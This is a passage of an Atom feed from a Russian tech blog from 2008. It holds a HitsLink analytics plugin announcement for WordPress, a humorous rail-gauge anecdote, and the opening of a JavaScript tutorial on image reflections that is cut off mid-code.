&lt;/div&gt;


	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят&amp;hellip; (March 11, 2008)"&gt;Безопасность, о которой все так много говорят&amp;hellip;&lt;/a&gt; (10)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (April 10, 2008)"&gt;Уязвимости oDesk&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/" title="Как не нужно интегрировать платёжные системы (November 21, 2008)"&gt;Как не нужно интегрировать платёжные системы&lt;/a&gt; (3)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/196-vulnerability-in-safari-for-windows-proves-critical/" title="Доказана критичность уязвимости в Safari для Windows (June 15, 2008)"&gt;Доказана критичность уязвимости в Safari для Windows&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (July 16, 2008)"&gt;Водка с феназепамом? Или всё-таки правда?&lt;/a&gt; (6)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=PVf2Hq"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=PVf2Hq" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=x1IxN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=x1IxN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=YkO4N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=YkO4N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=B5sIn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=B5sIn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=UxcUn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=UxcUn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=1V2wN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=1V2wN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=cJTDn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=cJTDn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kPxoN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=kPxoN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=yFNNn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=yFNNn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=6uDON"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=6uDON" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Hu0SN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Hu0SN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=cJTDn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=cJTDn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kPxoN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=kPxoN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/457980272" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/#comments" thr:count="1" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/feed/atom/" thr:count="1" />
		<thr:total>1</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fsecurity%2F361-minimizing-consequences-of-http-scans%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[HitsLink для WordPress]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/457852188/" />
		<id>http://blog.sjinks.org.ua/?p=360</id>
		<updated>2008-11-19T01:27:56Z</updated>
		<published>2008-11-19T01:27:56Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Плагины" /><category scheme="http://blog.sjinks.org.ua" term="HitsLink" /><category scheme="http://blog.sjinks.org.ua" term="plugin" /><category scheme="http://blog.sjinks.org.ua" term="web analytics" /><category scheme="http://blog.sjinks.org.ua" term="WordPress" /><category scheme="http://blog.sjinks.org.ua" term="плагин" />		<summary type="html"><![CDATA[HitsLink&#160;&#8212;&#160;это платный сервис стаистики, который достаточно хорош, чтобы быть альтернативой Google Analytics. HitsLink предоставляет 30-дневный пробный бесплатный период.
HitsLink является довольно-таки популярным сервисом в странах Запада (и лично мне он нравится больше, чем Clicky или Google Analytics).
У сервиса есть один недостаток: он не предоставляет плагин для WordPress. В принципе, можно добавлять код руками в тему, но [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/">&lt;p&gt;&lt;a href="http://www.hitslink.com/" rel="nofollow"&gt;HitsLink&lt;/a&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;это платный сервис стаистики, который достаточно хорош, чтобы быть альтернативой Google Analytics. HitsLink предоставляет 30-дневный пробный бесплатный период.&lt;/p&gt;
&lt;p&gt;HitsLink является довольно-таки популярным сервисом в странах Запада (и лично мне он нравится больше, чем Clicky или Google Analytics).&lt;span id="more-360"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;У сервиса есть один недостаток: он не предоставляет плагин для WordPress. В принципе, можно добавлять код руками в тему, но ведь это не наш метод, не так ли?&lt;/p&gt;
&lt;p&gt;Плагин написан на PHP5, протестирован на версиях WordPress&amp;nbsp;2.5.x-2.6.x.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://download.sjinks.org.ua:8080/wordpress/hitslink-0.3.1.zip"&gt;Скачать HitsLink для WordPress&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/211-clicky-for-wordpress-and-javascript-problems/" title="Clicky 0.3b для WordPress и проблемы с JavaScript (July 1, 2008)"&gt;Clicky 0.3b для WordPress и проблемы с JavaScript&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/plugins/74-sick-and-tired-of-spamers-yet-another-captcha-for-wordpress/" title="Спамеры просто достали, или, Еще одна CAPTCHA для WordPress (April 7, 2008)"&gt;Спамеры просто достали, или, Еще одна CAPTCHA для WordPress&lt;/a&gt; (22)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/plugins/61-russian-addthis-one-button-for-all-bookmark-services/" title="Русский AddThis&amp;nbsp;&amp;mdash;&amp;nbsp;одна кнопка для всех сервисов закладок (March 31, 2008)"&gt;Русский AddThis&amp;nbsp;&amp;mdash;&amp;nbsp;одна кнопка для всех сервисов закладок&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/php/179-patch-for-wp-wassup-151/" title="Патч для WP WassUp 1.5.1 (June 1, 2008)"&gt;Патч для WP WassUp 1.5.1&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/13-patch-for-wp-codebox-for-valid-xhtml/" title="Патч для WP CodeBox для Valid XHTML (March 11, 2008)"&gt;Патч для WP CodeBox для Valid XHTML&lt;/a&gt; (2)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=PkFDzj"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=PkFDzj" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=FrH1N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=FrH1N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=CyT6N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=CyT6N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=7sDcn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=7sDcn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=h9iKn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=h9iKn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=x1g8N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=x1g8N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=3QpHn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=3QpHn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=lfrJN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=lfrJN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=NZK3n"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=NZK3n" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=1BlUN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=1BlUN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Rg7QN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Rg7QN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=3QpHn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=3QpHn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=lfrJN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=lfrJN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/457852188" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fwordpress%2Fplugins%2F360-hitslink-for-wordpress%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Космический корабль и лошадь]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/457819497/" />
		<id>http://blog.sjinks.org.ua/?p=359</id>
		<updated>2008-11-19T01:28:37Z</updated>
		<published>2008-11-18T01:11:42Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Юмор" /><category scheme="http://blog.sjinks.org.ua" term="humor" /><category scheme="http://blog.sjinks.org.ua" term="юмор" />		<summary type="html"><![CDATA[Из архивов&#8230;
По бокам космического корабля "Кеннеди" размещаются два двигателя по 5 футов шириной. Конструкторы корабля хотели сделать эти двигатели еще шире, но не смогли. Почему?
Дело в том, что двигатели эти доставлялись по железной дороге, которая проходит по узкому тоннелю. Расстояние между рельсами стандартное: 4&#160;фута 8.5&#160;дюймов, поэтому конструкторы могли сделать двигатели только шириной 5&#160;футов.
Возникает вопрос: почему [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/">&lt;p&gt;Из архивов&amp;hellip;&lt;/p&gt;
&lt;p&gt;По бокам космического корабля "Кеннеди" размещаются два двигателя по 5 футов шириной. Конструкторы корабля хотели сделать эти двигатели еще шире, но не смогли. Почему?&lt;br /&gt;
Дело в том, что двигатели эти доставлялись по железной дороге, которая проходит по узкому тоннелю. Расстояние между рельсами стандартное: 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов, поэтому конструкторы могли сделать двигатели только шириной 5&amp;nbsp;футов.&lt;/p&gt;
&lt;p&gt;Возникает вопрос: почему расстояние между рельсами 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов? Откуда же взялась эта цифра?&lt;span id="more-359"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Оказывается, что железную дорогу в Соединённых Штатах делали такую же, как и в Англии, а в Англии делали железнодорожные вагоны по тому же принципу, что и трамвайные, а первые трамваи производились в Англии по образу и подобию конки. А длина оси конки составляла как раз&amp;hellip; правильно, 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов! Но почему?&lt;/p&gt;
&lt;p&gt;Потому что конки делали с тем расчетом, чтобы их оси попадали в колеи на английских дорогах, чтобы колеса меньше изнашивались, а расстояние между колеями в Англии как раз&amp;hellip; да, Вы угадали: именно 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов! Отчего так?&lt;/p&gt;
&lt;p&gt;Да просто дороги в Великобритании стали делать римляне, подводя их под размер своих боевых колесниц, и длина оси стандартной римской колесницы равнялась&amp;hellip; правильно, 4&amp;nbsp;футам 8.5&amp;nbsp;дюймам! Ну вот теперь мы докопались, откуда взялся этот размер, но все же, почему римлянам вздумалось делать свои колесницы с осями именно такой длины?&lt;/p&gt;
&lt;p&gt;А вот почему: в такую колесницу запрягали обычно двух лошадей. А 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов&amp;nbsp;&amp;mdash;&amp;nbsp;это был как раз размер двух лошадиных задниц! Делать ось колесницы длиннее было неудобно, так как это нарушало бы равновесие колесницы.&lt;/p&gt;
&lt;p&gt;Следовательно, вот и ответ на самый первый вопрос: даже теперь, когда человек вышел в космос, его наивысшие технические достижения напрямую зависят от &lt;strong&gt;размера лошадиной задницы две тысячи лет назад&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;PS&amp;nbsp;&amp;mdash;&amp;nbsp;мне стало интересно, почему в России железно-дорожная колея шире?&lt;br /&gt;
Неужели лошади толще?&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/22-genesis/" title="Проект Genesis (February 5, 2008)"&gt;Проект Genesis&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/76-programmers-russian-indian-chinese-canadian/" title="Программисты: русские, индусы, китайцы и канадцы (April 7, 2008)"&gt;Программисты: русские, индусы, китайцы и канадцы&lt;/a&gt; (11)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/271-we-are-hopeless/" title="Мы безнадёжны… (July 21, 2008)"&gt;Мы безнадёжны…&lt;/a&gt; (3)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/26-computer-feels-bad-decided-commit-suicide/" title="Компьютеру стало совсем худо, и он решил прекратить свои страдания (March 13, 2008)"&gt;Компьютеру стало совсем худо, и он решил прекратить свои страдания&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/19-what-elephant-is-made-of/" title="Из чего состоит слон, или, Тяжела и неказиста жизнь простого программиста (March 1, 2008)"&gt;Из чего состоит слон, или, Тяжела и неказиста жизнь простого программиста&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=Qy56ug"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=Qy56ug" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=6Q8hN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=6Q8hN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IDPvN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IDPvN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=9wuqn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=9wuqn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=6daxn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=6daxn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=05XkN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=05XkN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=o6KQn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=o6KQn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=xlDsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=xlDsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=POkgn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=POkgn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=fTSpN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=fTSpN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Nl7GN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Nl7GN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=o6KQn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=o6KQn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=xlDsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=xlDsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/457819497" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fhumour%2F359-spaceship-and-horse%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Создание отражения рисунка с помощью JavaScript]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/455311535/" />
		<id>http://blog.sjinks.org.ua/?p=356</id>
		<updated>2008-11-16T22:12:36Z</updated>
		<published>2008-11-16T22:12:36Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="JavaScript" /><category scheme="http://blog.sjinks.org.ua" term="canvas" /><category scheme="http://blog.sjinks.org.ua" term="effects" /><category scheme="http://blog.sjinks.org.ua" term="HTML 5" /><category scheme="http://blog.sjinks.org.ua" term="эффекты" />		<summary type="html"><![CDATA[Постановка задачи: из исходного изображения 

получить отраженное изображение:

Дополнительное условие: генерировать изображение на стороне клиента (то есть без использования GD, ImageMagick и иже с ними).
В черновике стандарта HTML&#160;5 пристутствует такой замечательный элемент как &#60;canvas&#62;. Если вкратце, то данный элемент предназначен для создания  изображений при помощи JavaScript.
Впервые элемент &#60;canvas&#62; был представлен компанией Apple и использовался как [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/javascript/356-image-reflection-with-javascript/">&lt;p&gt;&lt;strong&gt;Постановка задачи:&lt;/strong&gt; из исходного изображения &lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/source.png" alt="Исходное изображение" title="Исходное изображение" width="363" height="240" class="alignnone size-full wp-image-357" /&gt;&lt;/p&gt;
&lt;p&gt;получить отраженное изображение:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/dest.png" alt="Исходное изображение с отражением" title="Исходное изображение с отражением" width="363" height="476" class="alignnone size-full wp-image-358" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Дополнительное условие:&lt;/strong&gt; генерировать изображение на стороне клиента (то есть без использования GD, ImageMagick и иже с ними).&lt;span id="more-356"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;В черновике стандарта HTML&amp;nbsp;5 пристутствует такой замечательный элемент как &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt;. Если вкратце, то данный элемент предназначен для создания  изображений при помощи JavaScript.&lt;/p&gt;
&lt;p&gt;Впервые элемент &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt; был представлен компанией Apple и использовался как компонент WebKit для Mac&amp;nbsp;OS&amp;nbsp;X в таких приложениях как Dashboard и Safari.&lt;/p&gt;
&lt;p&gt;Поддержка &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt; в Gecko появилась в версии 1.5, в Presto с версии 9.0 веб-браузера Opera. Текущие версии Internet Explorer (включая восьмую бету) не поддерживают &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt;. Несмотря на это, для поставленной задачи существует кросс-браузерное решение.&lt;/p&gt;
&lt;p&gt;В Microsoft Internet Explorer отражения с прозрачностью можно достичь путём использования комбинации фильтров. В частности, для вертикального отражения используется фильтр &lt;code&gt;flipv&lt;/code&gt;, для горизонтального&amp;nbsp;&amp;mdash;&amp;nbsp;&lt;code&gt;fliph&lt;/code&gt;. Про реализацию прозрачности в Internet Explorer, наверное, знает каждый: &lt;code&gt;progid:DXImageTransform.Microsoft.Alpha&lt;/code&gt;. Тем не менее, не все знают, что можно задавать градиентную прозрачность.&lt;/p&gt;
&lt;p&gt;Перейдём к решению. Пусть у нас имеется такая разметка:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35630"&gt;
        &lt;div class="code html" id="p356code30"&gt;
&lt;span class="sc3"&gt;&amp;lt;&lt;span class="kw2"&gt;div&lt;/span&gt; &lt;span class="kw3"&gt;id&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;container&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="sc3"&gt;&amp;lt;&lt;span class="kw2"&gt;img&lt;/span&gt; &lt;span class="kw3"&gt;id&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;image&amp;quot;&lt;/span&gt; &lt;span class="kw3"&gt;src&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;image.png&amp;quot;&lt;/span&gt; &lt;span class="kw3"&gt;alt&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;Image&amp;quot;&lt;/span&gt;&lt;span class="sy0"&gt;/&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="sc3"&gt;&amp;lt;&lt;span class="sy0"&gt;/&lt;/span&gt;&lt;span class="kw2"&gt;div&lt;/span&gt;&amp;gt;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Будем полагать, что ширина и высота контейнера заданы (если мы делаем отражение по вертикали, то ширина контейнера совпадает с шириной рисунка, а высота контейнера в два раза больше высоты рисунка; аналогично для горизонтального отражения).&lt;/p&gt;
&lt;p&gt;Начнём с классики (MSIE).&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35631"&gt;
        &lt;div class="code javascript" id="p356code31"&gt;
&lt;span class="coMULTI"&gt;/**&lt;br /&gt;
&amp;nbsp;* @param container &amp;lt;div id=&amp;quot;container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param image &amp;lt;img id=&amp;quot;image&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param ratio Коэффициент сжатия/растягивания отражения&lt;br /&gt;
&amp;nbsp;* @param opacity_start Начальная (ближняя к отражаемому изображению) непрозрачность &lt;br /&gt;
&amp;nbsp;* @param opacity_end Конечная непрозрачность&lt;br /&gt;
&amp;nbsp;* @param horizontal 0 = вертикальное отражение, 1 = горизонтальное отражение&lt;br /&gt;
&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw2"&gt;function&lt;/span&gt; reflect_image&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;container&lt;span class="sy0"&gt;,&lt;/span&gt; image&lt;span class="sy0"&gt;,&lt;/span&gt; ratio&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_start&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_end&lt;span class="sy0"&gt;,&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; reflection &amp;nbsp;&lt;span class="sy0"&gt;=&lt;/span&gt; document.&lt;span class="me1"&gt;createElement&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;'img'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;src&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;src&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;width&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;'px'&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;if&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0 &lt;span class="sy0"&gt;==&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
